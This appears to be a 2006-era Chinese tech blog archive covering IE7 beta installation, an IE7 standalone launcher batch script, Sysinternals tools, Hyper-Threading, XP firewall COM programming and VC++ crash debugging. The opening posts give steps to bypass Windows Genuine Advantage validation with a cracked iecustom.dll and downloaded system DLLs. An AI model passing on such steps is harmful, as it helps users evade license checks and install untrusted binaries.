因此,假如你安装了IE7,而又遇到了Outlook密码验证出错的问题,很有可能是IE7在安装过程中未正确获取KB904942补丁造成的.这种现象在国内许多用户绕WGA的时候可能出现.
方法一 不需要正版WINDOWS验正的安装方法:
Internet Explorer 7 Beta 3 for XP/2003 x86 简体中文版安装说明:
1、先安装update文件夹里的update.exe
2、完成update.exe的安装后再安装xmllitesetup.exe(IE7.0 的tap标签功能,
只安装update.exe将没有tap功能)
*#*#*下载了官方原版的IE7.0 Beta 3的安装如下:
1、如果已经安装 IE7 Beta3 for XP/2003 x86版,将压缩包中zh-CN中的的以下三个文件个文件解拷贝到 C:/Program Files/Internet Explorer/en-US
hmmapi.dll.mui
iedw.exe.mui
iexplore.exe.mui
其余文件解拷贝到 C:/Windows/System32/en-US
2、如果将 IE7 Beta3 for XP/2003 x86版的安装文件解压缩,把此中文包zh-CN中 31 个文件全部放入其中替换掉原文件,则安装之后即为中文版.
(此安装无需正版验证!)
方法二
老方法,绕过WGA安装IE 7 Beta3 5450
没有WGA的朋友安装不了IE7,干等了一个晚上,同样,这个IE版本也可以通过update.exe来进行安装,不过要多一样东西才能够运行:iecustom.dll,感谢9down的访客提供的方法.
下载:Internet Explorer 7 Beta 3
下载:iecustom.rar
1>右键点击下载来的IE7BETA3-WindowsXP-x86-enu.exe,有WinRAR的选择"Extract to IE7BETA3-WindowsXP-x86-enu"到一个目录,例如:C: IE7BETA3-WindowsXP-x86-enu
2>打开解压缩好的文件夹,在里面打开"UPDATE"目录.
3>复制我们提供的"iecustom.rar"覆盖原有文件.
4> 运行UPDATE.EXE 而不是"IESETUP.EXE"
.另一种修改注册表以安装的方法,但可能不适于所有XP。找到HKEY_LOCAL_MACHINESYSTEMControlSet001ControlNlsLanguage 处,注意子键“Default”和“InstallLanguage”的键值,如果是0804就改成0409,如果是0409就改成0804。重新启动之后就可以安装了,安装以后再改回来。
2. IE7内存占用巨大!单开一个IE7大约需要25,000K内存。若打开内容量巨大的页面,如新闻站点,马上猛增到75,000K左右。但是目前尚不清楚IE7的内存管理机制,内存占用反复无常,有的时候打开5、6个页面,同样也不到80M。
3. 比较顺心的是Maxthon 1.3.1似乎可以完美支持IE7 内核,我至今还没有发现什么BUG,除了内存占用因受IE7牵连而猛升……
4. 说到BUG,我的IE7在用右键点击标签选择Close时会发生错误,导致IE7 崩溃关闭;奇怪的是直接单击浏览器右端的小叉号却没有问题。也可能这只是个案,看来我比较衰啊……
5. IE7多了一些功能但是有些细节还是不行,比不上Maxthon,比如最基本的双击关闭标签和鼠标拖拽。新功能中比较有意思的是“钓鱼网站过滤”(Phishing Filter),但此项功能默认是关闭的。需要在首选项中开启。
1.先把IE7的安装文件用WinRAR解开.
2.将破解iecustom.dll放进Update目录,覆盖原有文件.
3.执行update.exe安装,这个时候先勾选安装界面的"Do not restart now",先不要重启,如下图:
4.复制下载来的normaliz.dll到Windows的System32目录(必须执行,否则系统将故障)
5.重新启动.
6.执行Update目录下的xmllitesetup.exe更新一下就可以了
一定一定要记住安装后勾选安装界面的"Do not restart now",先不要重启!等复制normaliz.dll到Windows的System32目录下再重启!其实先复制normaliz.dll到Windows的System32目录下也是可以的!下面2个不同版本都适合上面的方法!
Internet Explorer 7 正式版(Final)版本号7.0.5730.11;Internet Explorer 7 (RC1)版本号7.0.5700.6
IE7 BETA2绿色安装,调整及删除方法 作者:笃笃石 时间:2006-3-6 11:35:08
IE7 BETA2绿色安装,调整及删除方法
请查阅下方此方法的升级版本《继续使用绿色IE7 的方法》!!
注意:网友反映,可能会导致 IE 6 不能使用
IE 7 默认安装会把 IE6 升级,也就是说 IE 6 就没有了。要回到 IE6 只能 添加&line;删除程序 (显示更新)反安装。而我还需要 IE 6 来调试代码,郁闷…另外,安装IE7也需要微软正版验证(windows genuine )…
找到一个无须安装的绿色 IE7 使用方法:
1.下载官方 IE 7 beta IE7B2P-WindowsXP-x86-enu.exe http://go.microsoft.com/fwlink/?LinkId=58957
2.不要直接执行,用 winzip(我是7-zip)解压到一个目录中,比如 ie7 目录
3.打开这个文件夹,新建 – 文本文件,命名为 iexplore.exe.local,注意:不是 iexplore.exe.local.txt
4.在该文件夹内删除以下内容:
update目录下的全部文件
install.ins
spmsg.dll
spuninst.exe
spupdsvc.exe
5.直接运行该目录中的 iexplore.exe 即可。
注:我的 ie 6 sp2(xp sp2)和 win2k3都可以正常使用。据下面这篇文章,ie 6 sp1 可能会有问题,大约是删除注册表的相关项目即可。[separator]
以下为引用内容:
——————————————————————————–
We have received scattered reports of users experiencing odd browser behavior after installing our most recent security update. Some of you have reported opening a browser window that promptly hangs IE, others have reported opening links that render blank, and finally we have reports of multiple windows opening when initiating a browser session. After investigating several of these reports, we have traced these issues to a common source.
If a user has ever attempted to run IE7 Beta1 in an unsupported side-by-side configuration with a version of IE6, IE7 Beta1 puts a registry key on the machine the first time a user executes the IE7 version of IEXPLORE.EXE. This key is part of an normal IE7 installation on XP, and will not be configured correctly if an unsupported side-by-side install is used. When IE7 is installed using the installer, the key should be removed properly upon uninstall. A machine can also load this registry key and not remove it during a failed IE7 installation.
To address this issue on a machine running IE 6 SP1 with our most recent security update, locate and delete this entire key from the registry of the affected machine: HKEY_CLASSES_ROOT\\CLSID\\&leftsign;c90250f3-4d7d-4991-9b69-a5c5bc1c2ae6&rightsign;. If you are running IE7 Beta1 in a side-by-side scenario with another version of IE, this is not a supported scenario. Please uninstall and reinstall IE7 Beta1 in the recommended manner.
Thank you all for your blog comments reporting this incident. Your valuable feedback allowed us to locate this issue in IE7 Beta1 and investigate how to prevent the problem in future.
——————————————————————————–
via IE December Security Update
有问题,可以尝试添加删除(显示更新组件)
==================================继续使用绿色IE7 的方法
无升级安装绿色 IE7 如果出现IE 6 7不能同时使用的问题。主要在于注册表中的 HKEY_CLASSES_ROOT\\CLSID\\&leftsign;c90250f3-4d7d-4991-9b69-a5c5bc1c2ae6&rightsign; 项目。有该项目时7 可用,6不可用;没有时,反之。有人写了个Dos运行脚本,临时建立(或者删除)该注册表项目来切换ie 6 7 的使用。
拷贝下面的代码为 ie7.bat ,放到 ie 7 解压目录中。运行 ie7.bat 即可运行ie7。(注意:6和7 仍然不能同时使用,但至少可以前后运行)
@ECHO OFF
TITLE IE7 Launcher 1.4
ECHO IE7 STANDALONE LAUNCHER 1.4
ECHO Updated for IE7 Beta 2 Preview
ECHO.
ECHO Do not close this window or it will not clean up after itself properly.
ECHO You can pass a URL into this batch file, like this:
ECHO ie7.bat www.microsoft.com
ECHO.
ECHO More info here: http://weblogs.asp.net/jgalloway/archive/2005/12/28/434132.aspx
ECHO.
ECHO When you close IE7, this will remove the registry key and shut itself down.
ECHO.
ECHO Setting up IE7 for standalone mode…
PUSHD %~dp0
ECHO Removing IE7 registry key and set the version vector to "7.0000".
> %TEMP%.\\IE7Fix.reg ECHO REGEDIT4
>>%TEMP%.\\IE7Fix.reg ECHO.
>>%TEMP%.\\IE7Fix.reg ECHO [-HKEY_CLASSES_ROOT\\CLSID\\&leftsign;C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6&rightsign;]
>>%TEMP%.\\IE7Fix.reg ECHO [-HKEY_CLASSES_ROOT\\Interface\\&leftsign;000214E5-0000-0000-C000-000000000046&rightsign;]
>>%TEMP%.\\IE7Fix.reg ECHO [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Internet Explorer\\Version Vector]
>>%TEMP%.\\IE7Fix.reg ECHO "IE"="7.0000"
>>%TEMP%.\\IE7Fix.reg ECHO.
:: Merge the REG file to delete the IE7 standalone entry
REGEDIT /S %TEMP%.\\IE7Fix.reg
REN SHLWAPI.DLL SHLWAPI.DLL.BAK
TYPE NUL > IEXPLORE.exe.local
ECHO Running IE7…
iexplore.exe "%1"
:: Merge the REG file to delete the IE7 standalone entry
REGEDIT /S %TEMP%.\\IE7Fix.reg
:: Delete the temporary REG file
DEL %TEMP%.\\IE7Fix.reg
ECHO Removing IE7 standalone files…
REN SHLWAPI.DLL.BAK SHLWAPI.DLL
DEL IEXPLORE.exe.local
:: Set the old version vector "6.0000".
> %TEMP%.\\IE7Fix.reg ECHO REGEDIT4
>>%TEMP%.\\IE7Fix.reg ECHO.
>>%TEMP%.\\IE7Fix.reg ECHO [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Internet Explorer\\Version Vector]
>>%TEMP%.\\IE7Fix.reg ECHO "IE"="6.0000"
>>%TEMP%.\\IE7Fix.reg ECHO.
REGEDIT /S %TEMP%.\\IE7Fix.reg
DEL %TEMP%.\\IE7Fix.reg
POPD
ECHO Complete, closing…
via IE7 Standalone Launch Script
=======================删除IE7 Beta2的方法
当然,如果体验之后觉得暂时不适应,可以用以下方法删除
如果是升级安装,在添加删除程序(显示更新组件)删除;
如果是 standalone 运行模式(解压…直接运行),删除注册表 HKEY_CLASSES_ROOT\\CLSID\\&leftsign;c90250f3-4d7d-4991-9b69-a5c5bc1c2ae6&rightsign; 即可
——————————————————————————–
经测试,这种方法不太好用,部分功能被限制了。 作者:笃笃石 时间:2006-3-6 11:35:40
经测试,这种方法不太好用,部分功能被限制了。
1111 sysinternals tools
TechNet Home > Sysinternals Home > Utilities Index
DebugView is an application that lets you monitor debug output on your local system, or any computer on the network that you can reach via TCP/IP. It is capable of displaying both kernel-mode and Win32 debug output, so you don\’t need a debugger to catch the debug output your applications or device drivers generate, nor do you need to modify your applications or drivers to use non-standard debug output APIs.
DebugView works on Windows 95, 98, Me, 2000, XP, Windows Server 2003, Windows for x64 processors and Windows Vista.
DebugView Capture
Under Windows 95, 98, and Me DebugView will capture output from the following sources:
• Win32 OutputDebugString
• Win16 OutputDebugString
• Kernel-mode Out_Debug_String
• Kernel-mode _Debug_Printf_Service
Under Windows NT, 2000, XP, Server 2003 and Vista DebugView will capture:
• Win32 OutputDebugString
• Kernel-mode DbgPrint
• All kernel-mode variants of DbgPrint implemented in Windows XP and Server 2003
DebugView also extracts kernel-mode debug output generated before a crash from Window NT/2000/XP crash dump files if DebugView was capturing at the time of the crash.
DiskMon is an application that logs and displays all hard disk activity on a Windows system. You can also minimize DiskMon to your system tray where it acts as a disk light, presenting a green icon when there is disk-read activity and a red icon when there is disk-write activity.
DiskMon works on NT 4.0 and higher.
Windows 2000 and Higher Implementation
On Windows 2000 and higher Diskmon uses kernel event tracing. Event tracing is documented in the Microsoft Platform SDK and the SDK contains source code to TraceDmp, on which Diskmon is based.
Ever wondered which program has a particular file or directory open? Now you can find out. Process Explorer shows you information about which handles and DLLs processes have opened or loaded.
The Process Explorer display consists of two sub-windows. The top window always shows a list of the currently active processes, including the names of their owning accounts, whereas the information displayed in the bottom window depends on the mode that Process Explorer is in: if it is in handle mode you\’ll see the handles that the process selected in the top window has opened; if Process Explorer is in DLL mode you\’ll see the DLLs and memory-mapped files that the process has loaded. Process Explorer also has a powerful search capability that will quickly show you which processes have particular handles opened or DLLs loaded.
The unique capabilities of Process Explorer make it useful for tracking down DLL-version problems or handle leaks, and provide insight into the way Windows and applications work.
Process Explorer works on Windows 9x/Me, Windows NT 4.0, Windows 2000, Windows XP, Server 2003, and 64-bit versions of Windows for x64 processors, and Windows Vista.
Portmon is a utility that monitors and displays all serial and parallel port activity on a system. It has advanced filtering and search capabilities that make it a powerful tool for exploring the way Windows works, seeing how applications use ports, or tracking down problems in system or application configurations.
Portmon works on NT 4.0, Win2K, XP and Server 2003, Windows 95 and Windows 98.
Note: Filemon and Regmon have been replaced by Process Monitor on versions of Windows starting with Windows 2000 SP4, Windows XP SP2, Windows Server 2003 SP1, and Windows Vista. Filemon and Regmon remain for legacy operating system support, including Windows 9x.
Regmon is a Registry monitoring utility that will show you which applications are accessing your Registry, which keys they are accessing, and the Registry data that they are reading and writing – all in real-time. This advanced utility takes you one step beyond what static Registry tools can do, to let you see and understand exactly how programs use the Registry. With static tools you might be able to see what Registry values and keys changed. With Regmon you\’ll see how the values and keys changed..
Regmon works on Windows NT/2000/XP/2003, Windows 95/98/Me and Windows 64-bit for x64.
Note: Filemon and Regmon have been replaced by Process Monitor on versions of Windows starting with Windows 2000 SP4, Windows XP SP2, Windows Server 2003 SP1, and Windows Vista. Filemon and Regmon remain for legacy operating system support, including Windows 9x.
FileMon monitors and displays file system activity on a system in real-time. Its advanced capabilities make it a powerful tool for exploring the way Windows works, seeing how applications use the files and DLLs, or tracking down problems in system or application file configurations. Filemon\’s timestamping feature will show you precisely when every open, read, write or delete, happens, and its status column tells you the outcome. FileMon is so easy to use that you\’ll be an expert within minutes. It begins monitoring when you start it, and its output window can be saved to a file for off-line viewing. It has full search capability, and if you find that you\’re getting information overload, simply set up one or more filters.
FileMon works on NT 4.0, Windows 2000, Windows XP, Windows XP and Windows Server 2003 64-bit Edition, Windows 2003 Server, Windows 95, Windows 98 and Windows ME.
Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. It combines the features of two legacy Sysinternals utilities, Filemon and Regmon, and adds an extensive list of enhancements including rich and non-destructive filtering, comprehensive event properties such session IDs and user names, reliable process information, full thread stacks with integrated symbol support for each operation, simultaneous logging to a file, and much more. Its uniquely powerful features will make Process Monitor a core utility in your system troubleshooting and malware hunting toolkit.
Process Monitor runs on Windows 2000 SP4 with Update Rollup 1, Windows XP SP2, Windows Server 2003 SP1, and Windows Vista as well as x64 versions of Windows XP, Windows Server 2003 SP1 and Windows Vista.
Process Monitor\’s user interface and options are similar to those of Filemon and Regmon, but it was written from the ground up and includes numerous significant enhancements, such as:
• Monitoring of process and thread startup and exit, including exit status codes
• Monitoring of image (DLL and kernel-mode device driver) loads
• More data captured for operation input and output parameters
• Non-destructive filters allow you to set filters without losing data
• Capture of thread stacks for each operation make it possible in many cases to identify the root cause of an operation
• Reliable capture of process details, including image path, command line, user and session ID
• Configurable and moveable columns for any event property
• Filters can be set for any data field, including fields not configured as columns
• Advanced logging architecture scales to tens of millions of captured events and gigabytes of log data
• Process tree tool shows relationship of all processes referenced in a trace
• Native log format preserves all data for loading in a different Process Monitor instance
• Process tooltip for easy viewing of process image information
• Detail tooltip allows convenient access to formatted data that doesn\’t fit in the columna
The best way to become familiar with Process Monitor\’s features is to read through the help file and then visit each of its menu items and options on a live system.
标签:int, tools0526 intel 双核 超线程 DualCore HyperThreading
最近发现WINXP机器启动慢了许多,并且是不是运行中出现假死,找找资料
Intel Delivers Hyper-Threading Technology With Pentium® 4 Processor 3 Ghz Milestone
Intel称其双核CPU为Double Core;而AMD则称为Dual Core。两者都是单模组上的双核设计,但最大的不同是AMD双核能相互通信,
intel双核技术与超线程技术的区别作者:麦田守望者 提交时间:2006-5-10 8:22:56[推荐给好友]
超线程技术已经不是什么新鲜事物了,但普通用户可能与双核心技术区分不开。例如开启了超线程技术的Pentium 4 630与Pentium D 820在操作系统中都同样被识别为两颗处理器,它们究竟是不是一样的呢?这个问题确实具有迷惑性。 其实,可以简单地把双核心技术理解为两个"物理"处理器,是一种"硬"的方式;而超线程技术只是两个"逻辑"处理器,是一种"软"的方式。 从原理上来说,超线程技术属于Intel版本的多线程技术。这种技术可以让单CPU拥有处理多线程的能力,而物理上只使用一个处理器。超线程技术为每个物理处理器设置了两个入口-AS(Architecture State,架构状态)接口,从而使操作系统等软件将其识别为两个逻辑处理器。 这两个逻辑处理器像传统处理器一样,都有独立的IA-32架构,它们可以分别进入暂停、中断状态,或直接执行特殊线程,并且每个逻辑处理器都拥有APIC(Advanced Programmable Interrupt Controller,高级可编程中断控制器)。虽然支持超线程的Pentium 4能同时执行两个线程,但不同于传统的双处理器平台或双内核处理器,超线程中的两个逻辑处理器并没有独立的执行单元、整数单元、寄存器甚至缓存等等资源。它们在运行过程中仍需要共用执行单元、缓存和系统总线接口。在执行多线程时两个逻辑处理器均是交替工作,如果两个线程都同时需要某一个资源时,其中一个要暂停并要让出资源,要待那些资源闲置时才能继续。因此,超线程技术所带来的性能提升远不能等同于两个相同时钟频率处理器带来的性能提升。可以说Intel的超线程技术仅可以看做是对单个处理器运算资源的优化利用。 而双核心技术则是通过"硬"的物理核心实现多线程工作:每个核心拥有独立的指令集、执行单元,与超线程中所采用的模拟共享机制完全不一样。在操作系统看来,它是实实在在的双处理器,可以同时执行多项任务,能让处理器资源真正实现并行处理模式,其效率和性能提升要比超线程技术要高得多,不可同日而语。简单来说:“双核”指的是物理双核“超线程”指的是逻辑双核
超线程技术就是利用特殊的硬件指令,把两个逻辑内核模拟成两个物理芯片,让单个处理器都能使用线程级并行计算,进而兼容多线程操作系统和软件,减少了CPU的闲置时间,提高的CPU的运行效率。因此支持Intel超线程技术的cpu,打开超线程设置,允许超线程运行后,在操作系统中看到的cpu数量是实际物理cpu数量的两倍,就是1个cpu可以看到两个,两个可以看到四个。 有超线程技术的CPU需要芯片组、软件支持,才能比较理想的发挥该项技术的优势。
什么是双核处理器呢?双核处理器背后的概念蕴涵着什么意义呢?简而言之,双核处理器即是基于单个半导体的一个处理器上拥有两个一样功能的处理器核心。换句话说,将两个物理处理器核心整合入一个核中。企业IT管理者们也一直坚持寻求增进性能而不用提高实际硬件覆盖区的方法。多核处理器解决方案针对这些需求,提供更强的性能而不需要增大能量或实际空间。 双核心处理器技术的引入是提高处理器性能的有效方法。因为处理器实际性能是处理器在每个时钟周期内所能处理器指令数的总量,因此增加一个内核,处理器每个时钟周期内可执行的单元数将增加一倍。在这里我们必须强调一点的是,如果你想让系统达到最大性能,你必须充分利用两个内核中的所有可执行单元:即让所有执行单元都有活可干! 为什么IBM、HP等厂商的双核产品无法实现普及呢,因为它们相当昂贵的,从来没得到广泛应用。比如拥有128MB L3缓存的双核心IBM Power4处理器的尺寸为115×115mm,生产成本相当高。因此,我们不能将IBM Power4和HP PA8800之类双核心处理器称为AMD即将发布的双核心处理器的前辈。 目前,x86双核处理器的应用环境已经颇为成熟,大多数操作系统已经支持并行处理,目前大多数新或即将发布的应用软件都对并行技术提供了支持,因此双核处理器一旦上市,系统性能的提升将能得到迅速的提升。因此,目前整个软件市场其实已经为多核心处理器架构提供了充分的准备。CPU生产商为了提高CPU的性能,通常做法是提高CPU的时钟频率和增加缓存容量。不过目前CPU的频率越来越快,如果再通过提升CPU频率和增加缓存的方法来提高性能,往往会受到制造工艺上的限制以及成本过高的制约。
尽管提高CPU的时钟频率和增加缓存容量后的确可以改善性能,但这样的CPU性能提高在技术上存在较大的难度。实际上在应用中基于很多原因,CPU的执行单元都没有被充分使用 。如果CPU不能正常读取数据(总线/内存的瓶颈),其执行单元利用率会明显下降。另外就是目前大多数执行线程缺乏ILP(Instruction-Level Parallelism,多种指令同时执行)支持。这些都造成了目前CPU的性能没有得到全部的发挥。因此,Intel则采用另一个思路去提高CPU的性能,让CPU可以同时执行多重线程,就能够让CPU发挥更大效率,即所谓“超线程(Hyper-Threading,简称“HT”)”技术。超线程技术就是利用特殊的硬件指令,把两个逻辑内核模拟成两个物理芯片,让单个处理器都能使用线程级并行计算,进而兼容多线程操作系统和软件,减少了CPU的闲置时间,提高的CPU的运行效率。 采用超线程及时可在同一时间里,应用程序可以使用芯片的不同部分。虽然单线程芯片每秒钟能够处理成千上万条指令,但是在任一时刻只能够对一条指令进行操作。而超线程技术可以使芯片同时进行多线程处理,使芯片性能得到提升。 超线程技术是在一颗CPU同时执行多个程序而共同分享一颗CPU内的资源,理论上要像两颗CPU一样在同一时间执行两个线程,P4处理器需要多加入一个Logical CPU Pointer(逻辑处理单元)。因此新一代的P4 HT的die的面积比以往的P4增大了5%。而其余部分如ALU(整数运算单元)、FPU(浮点运算单元)、L2 Cache(二级缓存)则保持不变,这些部分是被分享的。 虽然采用超线程技术能同时执行两个线程,但它并不象两个真正的CPU那样,每各CPU都具有独立的资源。当两个线程都同时需要某一个资源时,其中一个要暂时停止,并让出资源,直到这些资源闲置后才能继续。因此超线程的性能并不等于两颗CPU的性能。 英特尔P4 超线程有两个运行模式,Single Task Mode(单任务模式)及Multi Task Mode(多任务模式),当程序不支持Multi-Processing(多处理器作业)时,系统会停止其中一个逻辑CPU的运行,把资源集中于单个逻辑CPU中,让单线程程序不会因其中一个逻辑CPU闲置而减低性能,但由于被停止运行的逻辑CPU还是会等待工作,占用一定的资源,因此Hyper-Threading CPU运行Single Task Mode程序模式时,有可能达不到不带超线程功能的CPU性能,但性能差距不会太大。也就是说,当运行单线程运用软件时,超线程技术甚至会降低系统性能,尤其在多线程操作系统运行单线程软件时容易出现此问题。 需要注意的是,含有超线程技术的CPU需要芯片组、软件支持,才能比较理想的发挥该项技术的优势。目前支持超线程技术的芯片组包括如:英特尔i845GE、PE及矽统iSR658 RDRAM、SiS645DX、SiS651可直接支持超线程;英特尔i845E、i850E通过升级BIOS后可支持;威盛P4X400、P4X400A可支持,但未获得正式授权。操作系统如:Microsoft Windows XP、Microsoft Windows 2003,Linux kernel 2.4.x以后的版本也支持超线程技术。
标签:int, thread, 线程0430 ICF WINXP SP2 Internet Connection Firewall
由于作通信程序,结果发现一个严重的问题,该死的WINXP SP2防火墙。
Internet 连接防火墙 (ICF) 如何工作
ICF 被视为状态防火墙。状态防火墙可监视通过其路径的所有通讯方面,并且检查所处理的每个消息的源和目标地址。为了防止来自连接公用端的未经请求的通信进入专用端,ICF 保留了所有源自ICF 计算机的通讯表。在单独的计算机中,ICF 将跟踪源自该计算机的通信。与 ICS 一起使用时,ICF 将跟踪所有源自 ICF/ICS 计算机的通信和所有源自专用网络计算机的通信。所有Internet 传入通信都会针对于该表中的各项进行比较。只有当表中有匹配项时(这说明通讯交换是从计算机或专用网络内部开始的),才允许将传入 Internet 通信传送给网络中的计算机。源自外部源 ICF 计算机的通讯(如 Internet)将被防火墙阻止,除非在“服务”选项卡上建立了允许该通讯通过的条目。ICF 不会向您发送活动通知,而是静态地阻止未经请求的通讯,防止像端口扫描这样的常见黑客袭击。这样的通知可能过于频繁以至于成为一种干扰。ICF 可能创建安全日志以查看被防火墙跟踪的活动。
这样的话,如果一段时间内,本地端口没有往外端口主动发送数据,过了一段时间,外端口再往本地端口发送数据,会被屏蔽掉
想了想,有两种办法,一种办法就是程序里面间隔的往服务器发送数据,还有一个办法就是编程控制ICF Internet Connection Firewall
好像很多网络电视程序安装的时候都会把 自己的程序加入到例外里面?
找了找资料
MSDN Home > MSDN Library > Win32 and COM Development > Network Security > Internet Connection Sharing and Internet Connection Firewall
IPv6 Internet Connection Firewall Downloads
The IPv6 Internet Connection Firewall (IPv6 ICF) protects connections on which it is running from unsolicited network traffic. The IPv6 Internet Connection Firewall SDK is intended for developers whose software applications or setup programs require adjustments to the configurations of the networking environments in which they run.
Microsoft IPv6 Internet Connection Firewall Software Development Kit (SDK)
The IPv6 Internet Connection Firewall SDK includes documentation as well as header and library files that allow developers to programmatically manage the features of IPv6 ICF, making it possible to open and close ports on an IPv6 ICF network connection.
Date: July 22, 2003
大多数第三方防火墙软件提供商如Zone Labs、McAfee和Symantec公司都将在近期提供和SP2兼容的新版本防火墙软件。这些新版软件在安装的时候会自动禁用Windows防火墙,而在卸载时又会自动启用Windows防火墙。第三方厂商通过调用Windows Firewall API来实现这一功能。然而,既然防火墙软件可以这么做,其他病毒或木马等恶意代码就同样也可以。病毒或木马可以修改Windows防火墙程序,甚至干脆关闭它。而Zone Labs公司声明,他们采取了一些锁定技术来保证他们的防火墙软件不会被其他第三方软件关闭,除非你将整个防火墙卸载掉。
Larry Osterman\’s WebLog
Confessions of an Old Fogey
How do I open ports in the Windows Firewall
Using the Internet Connection Sharing (ICS) and Internet Connection Firewall (ICF) COM Interfaces
Introduction
With the release of Windows XP\’s Service Pack 2, Microsoft\’s Internet Connection Sharing (ICS) and Internet Connection Firewall (ICF) features quickly obtained a large degree of notoriety. Many developers have been actively looking for ways to easily "peek and poke" at the ICS & ICF configurations on a given machine.
The good news is that Microsoft released the interfaces with a COM wrapper. The bad news is that it isn\’t well advertised and it\’s not very intuitive to use. Getting a full set of details on a particular connection\’s configuration can require several method calls.
References
Microsoft has exposed the API for the ICS & ICF in a couple of places, but this code uses the COM interface HNetCfg.HNetShare. You can add a reference to this interface to your own projects by using the Reference Browser to select HNETCFG.DLL (typically located in the "C:\\Windows\\System32\\" directory).
\’ In addition, this class requires that the project have a COM reference
\’ to the "HNetCfg.HNetShare" interface, which can be found in the "hnetcfg.dll"
\’ server (typically located in the "C:\\WINDOWS\\system32\\" directory).
Public Sub DisableSharing() Implements INetSharingConfiguration.DisableSharing
Call _icsMgr.INetSharingConfigurationForINetConnection(_icsConn).DisableSharing()
End Sub
Public Sub EnableInternetFirewall() Implements INetSharingConfiguration.EnableInternetFirewall
Call _icsMgr.INetSharingConfigurationForINetConnection(_icsConn).EnableInternetFirewall()
End Sub
Public Sub EnableSharing(ByVal Type As tagSHARINGCONNECTIONTYPE) Implements INetSharingConfiguration.EnableSharing
Call _icsMgr.INetSharingConfigurationForINetConnection(_icsConn).EnableSharing(Type)
End Sub
Public Sub RemovePortMapping(ByVal pMapping As INetSharingPortMapping) Implements INetSharingConfiguration.RemovePortMapping
Call _icsMgr.INetSharingConfigurationForINetConnection(_icsConn).RemovePortMapping(pMapping)
End Sub
0406 VC MAP Breakpoints
VC下发布的Release版程序的异常捕捉- -
寻找Release版程发生异常退出的地方比Debug版麻烦得多。发生异常的时候windows通常会弹出一个错误对话框,点击详细信息,我们能获得出错的地址和大概的出错信息,然后可以用以下办法分析我们的程序。
一. 用MAP文件定位异常代码位置。
1. 如何生成map文件
打开“Project → Project Settings”,选择 C/C++ 选项卡,在“Debug Info”栏选择“Line Numbers Only”(或者在最下面的 Project Options 里面输入:/Zd),然后要选择 Link 选项卡,选中“Generate mapfile”复选框,并再次编辑 Project Options,输入:/mapinfo:lines,以便在 MAP 文件中加入行信息。然后编译工程则可以在输出目录得到同名的.map文件。
2. 使用map文件定位发生异常的代码行
编译得到的map文件可以用文本方式打开,大致是这样的格式:(括号内是PomeloWu填加的注释)
0729 (←工程名)
Timestamp is 42e9bc51 (Fri Jul 29 14:19:13 2005) (←时间戳)
Preferred load address is 00400000 (←基址)
……(Data段描述,省略)
Address Publics by Value Rva+Base Lib:Object
0001:00000000 ?_GetBaseMessageMap@C0729App@@KGPBUAFX_MSGMAP@@XZ 00401000 f 0729.obj
……(↑这一行开始是函数信息,下面省略)
Line numbers for .\\Release\\ShowDlg.obj(C:\\0729\\ShowDlg.cpp) segment .text
24 0001:00003f90 28 0001:00003fce 29 0001:00003fd1 30 0001:00003fd4
……(行号信息,前面的数字是行号,后一个数字是偏移量,下面省略)
在获得程序异常的地址以后,首先通过函数信息部分定位出错的OBJ和函数。做法是用获得的异常地址与Rva+Base栏地址进行比较(Rva,偏移地址;Base,基址)。找到最后一个比获得的异常地址小的那个函数,那就是出错的函数。
之后,用获得的异常地址减去该函数的Rva+Base,就得到了异常行代码相对于函数起始地址的偏移。在“Line number for”部分找到相对应的模块,并把其后的行号信息与上面减得的偏移量对比,找到最接近的一个,前面的行号大致就是目标行了。
调试实战之数据断点
上午师弟遇到了一个问题,他用动态链接库实现了一个对话框,这个对话框包含了vc的Grid控件,结果用测试程序测试时,对话框始终弹不出来!去掉Grid控件后就运行正常了!下面是DLL中导出对话框的函数:
void GEOADD_EXPORT DataGrid(CWnd *pWnd)
(1)已经加上了,就不是它没有加的问题了。从(2)跟进去。发现在BOOL CWnd::CreateDlgIndirect(LPCDLGTEMPLATE lpDialogTemplate,CWnd* pParentWnd, HINSTANCE hInst)函数中的片断:
if (hWnd != NULL && !(m_nFlags & WF_CONTINUEMODAL))
程序会运行这个片断,从而销毁了对话框!对话框在这里被干掉了!查看这个条件语句,hwnd是肯定不为空的,有问题就是m_nFlags了。它等于WF_OLECTLCONTAINER,这个值好像不对!往前面看,发现在 hWnd = ::CreateDialogIndirect(hInst, lpDialogTemplate,pParentWnd->GetSafeHwnd(), AfxDlgProc);中改变了吗m_nFlags。在哪里呢?m_nFlags是成员变量,它在初始化后就不会改变。这样就方便了我们设置数据断点。在Watch窗口输入:&m_nFlags 得到它的内存地址,依次点击Edit->Breakpoints->Data,在上面的文本框中输入:*((int*)0×1111111),0×1111111是你刚才得到的内存地址,当程序试图改变m_nFlags,就会断掉了!找到出现问题的语句!AFX_STATIC HRESULT AFXAPI _AfxCoCreateInstanceLic(REFCLSID clsid, LPUNKNOWN pUnkOuter,DWORD dwClsCtx, REFIID iid, LPVOID* ppv, BSTR bstrLicKey)中的:
if (SUCCEEDED(hr = CoGetClassObject(clsid, dwClsCtx, NULL,
IID_IClassFactory, (void**)&pClassFactory)))
CoGetClassObject失败,返回hr等于0×800401F0.开动msdn查了一下,说是CoInitialize(),没有调用。加上,解决了!!
另外输出窗口输出信息不太符合,他说控件没有注册!看来也不能完全相信mfc的输出!
04030 _beginthreadex _endthreadex 线程 THREADEX.C
今天一个同事任务单留言,觉得我开启线程后没有END,有点管杀不管埋的意思。
我倒是觉得代码没有问题,因为以前有看过,现在重新记录一下。
看看源代码 VS6\\VC98\\CRT\\SRC\\THREADEX.C
*threadex.c – Extended versions of Begin (Create) and End (Exit) a Thread
*
* Copyright (c) 1989-1997, Microsoft Corporation. All rights reserved.
*
*Purpose:
* This source contains the _beginthreadex() and _endthreadex()
* routines which are used to start and terminate a thread. These
* routines are more like the Win32 APIs CreateThread() and ExitThread()
* than the original functions _beginthread() & _endthread() were.
*_beginthreadex() – Create a child thread
/* * Create the new thread using the parameters supplied by the caller. */
if ( (thdl = (unsigned long) CreateThread( security, stacksize, _threadstartex, (LPVOID)ptd, createflag, thrdaddr))
*_threadstartex() – New thread begins here
/* * Guard call to user code with a _try – _except statement to
* implement runtime errors and signal support */
__try &leftsign;
_endthreadex (
( (unsigned (WINAPI *)(void *))(((_ptiddata)ptd)->_initaddr) )
( ((_ptiddata)ptd)->_initarg ) ) ;
&rightsign;
*_endthreadex() – Terminate the calling thread
